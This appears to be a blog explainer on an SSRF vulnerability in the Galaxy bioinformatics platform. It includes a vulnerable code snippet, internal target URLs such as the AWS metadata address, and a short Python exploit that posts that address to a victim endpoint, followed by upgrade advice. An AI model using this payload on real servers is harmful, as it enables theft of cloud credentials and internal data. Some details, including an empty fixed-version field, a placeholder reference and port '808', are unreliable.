Galaxy is a popular open-source platform widely used for FAIR (Findable, Accessible, Interoperable, and Reusable) data analysis in scientific research. It enables researchers to easily create, share, and publish workflows for bioinformatics.

However, before version 22.05, Galaxy had a dangerous flaw: CVE-2023-42812, a Server-Side Request Forgery (SSRF) vulnerability. This issue could let an attacker make HTTP/HTTPS requests from the Galaxy server itself to any internal or external server, and receive those responses. This could easily be used to access internal services, sensitive endpoints, or even lead to data breaches.

Below, we’ll break down this vulnerability, show some code snippets for understanding, discuss how it works, show a simple exploitation scenario, and provide links for further reading.

What is CVE-2023-42812?

Server-Side Request Forgery (SSRF) is when an attacker tricks a server application (like Galaxy) into making HTTP requests on its behalf. This can allow the attacker to reach internal, private, or otherwise unreachable endpoints, retrieve sensitive information, or scan for open ports.

Impacted versions:

Galaxy before 22.05

Fixed version:

How Did the Vulnerability Work?

In earlier Galaxy versions, certain endpoints let users provide external URLs for data imports or workflow tasks. The code sometimes trusted these URLs without strict validation.

A simplified code snippet showing risky URL handling could look like this

import requests

def fetch_remote_data(user_url):
    # Vulnerable: Takes any URL from user and requests it directly
    response = requests.get(user_url)
    return response.content

If a user submits, say, http://localhost:808/secret, the Galaxy server itself will fetch this URL. If the server is running in an internal network, it could reach sensitive endpoints like cloud metadata, local databases, or admin services that are NOT exposed to the public.

Common sensitive targets for attackers

- Cloud metadata API: http://169.254.169.254/latest/meta-data/ (AWS)
- Internal databases: http://localhost:5432/
- Internal dashboards/admin panels

Exploit Scenario

An attacker finds a Galaxy instance running a vulnerable version and sees a tool/wizard accepting a "data URL" field.

Example Exploit Flow

1. Attacker submits a URL pointing to an internal service, like http://localhost:808/admin.

Exploit Example (Python)

import requests

# The vulnerable endpoint
vuln_url = 'https://victim-galaxy.org/api/import_data';

# The attacker-controlled JSON, sending URL to internal host
payload = {
    "data_url": "http://169.254.169.254/latest/meta-data/"
}

response = requests.post(vuln_url, json=payload)
print(response.text)  # Might print AWS EC2 metadata contents!

Note: The specifics of the vulnerable endpoints might differ from deployment to deployment, but the essence is always submitting a URL to be fetched by the server.

Exfiltrate sensitive configuration data from the internal network (credentials, tokens)

- Bypass firewall/access controls
- Scan for open ports/services in the internal network (turning Galaxy into a port scanner)

Remediation

Upgrade Galaxy to 22.05 or later.
The patch implemented better URL validation, preventing access to local, loopback, and reserved IP addresses, and adding checks to restrict what hosts can be fetched.

References and Further Reading

- Galaxy Project Security Announcements
- GitHub Security Advisory: CVE-2023-42812 (placeholder, update with official link)
- SSRF Explained: OWASP Cheat Sheet

Closing Thoughts

CVE-2023-42812 shows how important it is to validate user-supplied URLs, and how SSRF can open up access to critical internal systems. If you manage a Galaxy instance, double-check your version and upgrade ASAP to version 22.05 or later. Don’t let your research infrastructure become an entry point for attackers!

If you’re interested in learning more about Galaxy security, visit their official security docs.


Stay safe, stay updated! If you have questions or feedback, feel free to comment.

Timeline

Published on: 09/22/2023 17:15:14 UTC
Last modified on: 09/25/2023 18:21:01 UTC